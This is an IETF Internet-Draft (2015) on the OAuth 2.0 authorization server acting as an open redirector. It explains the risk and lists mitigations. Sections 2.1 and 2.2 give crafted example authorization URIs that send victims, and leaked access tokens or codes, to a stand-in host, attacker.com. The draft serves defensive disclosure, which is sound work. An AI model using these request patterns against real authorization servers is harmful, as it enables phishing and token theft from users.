

OAuth Working Group
Internet-Draft
Intended status: Standards Track
Expires: July 24, 2015

J. Bradley
Ping Identity
A. Sanso, Ed.
Adobe Systems
H. Tschofenig

January 20, 2015

OAuth 2.0 Security: OAuth Open Redirector
draft-oauth-sanso-open-redirector-00.txt

Abstract

This document gives additional security considerations for OAuth, beyond those in the OAuth 2.0 specification and in the OAuth 2.0 Threat Model and Security Considerations.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of [BCP 78](#) and [BCP 79](#).

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at <http://datatracker.ietf.org/drafts/current/>.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on July 24, 2015.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to [BCP 78](#) and the IETF Trust's Legal Provisions Relating to IETF Documents (<http://trustee.ietf.org/license-info>) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in [Section 4.e](#) of

Internet-Draft

OAuth Open Redirector

January 2015

the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.

Table of Contents

1.	Introduction	2
1.1.	Notational Conventions	2
2.	Authorization Server Error Response	3
2.1.	Abuse: The Authorization Server As Open Redirector	3
2.2.	Security Compromise: The Authorization Server As Open Redirector	4
2.3.	Mitigation	5
3.	Acknowledgements	5
4.	Normative References	5
Appendix A.	Document History	6
	Authors' Addresses	6

[1.](#) Introduction

This document gives additional security considerations for OAuth, beyond those in the OAuth 2.0 specification [[RFC6749](#)] and in the OAuth 2.0 Threat Model and Security Considerations [[RFC6819](#)]. In particular focuses its attention on the risk of abuse the Authorization Server as an open redirector. It contains the following content:

- o Describes the Authorization Server Error Response as defined in [[RFC6749](#)].
- o Describes the risk of abuse the Authorization Server as an open redirector.
- o Gives some mitigation details on how to hinder the risk of open redirector in the Authorization Server.

[1.1.](#) Notational Conventions

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC 2119](#) [[RFC2119](#)].

Unless otherwise noted, all the protocol parameter names and values are case sensitive.

[2.](#) Authorization Server Error Response

The OAuth 2.0 specification [[RFC6749](#)] defines the Error Response associated with the Authorization Code Grant flow and the Implicit Grant flow. Both flows use a redirection endpoint where the resource owner's user agent is directed after the resource owner has completed interacting with the authorization server. The redirection endpoint is also used in the error response scenario. As per [[RFC6749](#)] if the resource owner denies the access request or if the request fails for reasons other than a missing or invalid redirection URI, the authorization server redirects the user-agent by sending the following HTTP response:

```
HTTP/1.1 302 Found Location: https://client.example.com/  
cb?error=access_denied
```

[2.1.](#) Abuse: The Authorization Server As Open Redirector

As described in [[RFC6819](#)] an attacker could utilize a user's trust in an authorization server to launch a phishing attack. The attack described here though is not mitigated using the countermeasures listed in [[RFC6819](#)]. In this scenario the attacker:

- o Performs a client registration as per the core specification [[RFC6749](#)]. The provided redirection URI is a malicious one e.g. <https://attacker.com> (namely the one where the victim's user agent will land without any validation)
- o Prepare a forged URI using the assumption that the Authorization Server complies with the OAuth 2.0 specification [[RFC6749](#)]. In particular with the Authorization Server Error Response described in the previous section ([Section 2](#)). As an example he can use a wrong or not existing scope e.g.

```
https://AUTHORIZATION_SERVER/authorize?response_type=code&client_i
```

d=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fattacker%2Ecom&scope=INVALID_SCOPE

- o Attempt the phishing attack trying to have the victim clicking the forged URI prepared on the previous step. Should the attack succeeds the victim's user agent is redirected to <https://attacker.com> (all with any user interaction) The HTTP referer header will be set to the AS domain perhaps allowing manipulation of the user.

Bradley, et al.

Expires July 24, 2015

[Page 3]

Internet-Draft

OAuth Open Redirector

January 2015

[2.2.](#) Security Compromise: The Authorization Server As Open Redirector

The attacker can use a redirect error redirection to intercept redirect based protocol messages via the Referer header and URI fragment. In this scenario the attacker:

- o Performs a registration of a malicious client as per the core specification [[RFC6749](#)]. The provided redirection URI is a malicious one e.g. <https://attacker.com> (This URI will capture the fragment and referrer header sent as part of the error)
- o Creates a invalid Authentication request URI for the malicious client. As an example he can use a wrong or not existing scope e.g.

https://AUTHORIZATION_SERVER/authorize?response_type=code&client_id=malicious_client&redirect_uri=https%3A%2F%2Fattacker%2Ecom&scope=INVALID_SCOPE

- o Performs a OAuth Authorization request using the invalid Authorization request as the redirect_uri. This works if the AS is pattern matching redirect_uri and has a public client that shares the same domain as the AS.

(line breaks for display only)

https://AUTHORIZATION_SERVER/authorize?response_type=token

```
&client_id=good-client&scope=VALID_SCOPE
&redirect_uri=https%3A%2F%2FAUTHORIZATION_SERVER%FAuthorize
%3Fresponse_type%3Dcode
%26client_id%3Dattacker-client-id
%26scope%3DINVALID_SCOPE
%26redirect_uri%3Dhttps%253A%252F%252Fattacker.com
```

Figure 1

- o Receive the response redirected to <https://attacker.Com>

The legitimate OAuth Authorization response will include an access token in the URI fragment.

Most web browsers will append the fragment to the URI sent in the location header of a 302 response if no fragment is included in the location URI.

If the Authorization request is code instead of token, the same technique is used, but the code is leaked by the browser in the referer header rather than the fragment.

This causes the access token from a successful authorization to be leaked across the redirect to the malicious client. This is due to browser behaviour and not because the AS has included any information in the redirect URI other than the error code.

Protocols other than OAuth may be particularly vulnerable to this if they are only verifying the domain of the redirect. Performing exact redirect URI matching in OAuth will protect the AS, but not other protocols.

It should be noted that a legitimate OAuth client registered with a AS might be compromised and used as a redirect target by an attacker, perhaps without the knowledge of the client site. This increases the attack surface for an authorization server.

[2.3.](#) Mitigation

In order to defend against the attack described in [Section 2.2](#) the

authorization server can either:

- o Append a empty fragment "#_" to all error redirect URI
 - o Perform a redirect to an intermediate URI under the controll of the AS to clear the referer information in the browser that may contain security token information.
 - o Respond with an HTTP 400 (Bad Request) status code.
-
- o Force the resource owner to grants the access request (via a consent screen) also in the error case at least once. The way the authorization server achieves the connsent screen validation is out of scope of this document.

[3.](#) Acknowledgements

We would like to thank all the people that partecipated to the discussion, namely Bill Burke, Hans Zandbelt, Justin P. Richer, Phil Hunt, Takahiko Kawasaki, Torsten Lodderstedt, Sergey Beryozkin.

[4.](#) Normative References

- [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", [BCP 14](#), [RFC 2119](#), March 1997.

Bradley, et al.

Expires July 24, 2015

[Page 5]

Internet-Draft

OAuth Open Redirector

January 2015

- [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", [BCP 26](#), [RFC 5226](#), May 2008.
- [RFC6749] Hardt, D., "The OAuth 2.0 Authorization Framework", [RFC 6749](#), October 2012.
- [RFC6819] Lodderstedt, T., McGloin, M., and P. Hunt, "OAuth 2.0 Threat Model and Security Considerations", [RFC 6819](#), January 2013.

[Appendix A.](#) Document History

[[to be removed by the RFC Editor before publication as an RFC]]

-00

- o Wrote the first draft.
- o Changed Document name to conform to WG naming convention
- o Added Section on redirect leaking security information

Authors' Addresses

John Bradley
Ping Identity

Email: ve7jtb@ve7jtb.com

URI: <http://www.thread-safe.com/>

Antonio Sanso (editor)
Adobe Systems

Email: asanso@adobe.com

Hannes Tschofenig

Email: Hannes.Tschofenig@gmx.net

URI: <http://www.tschofenig.priv.at>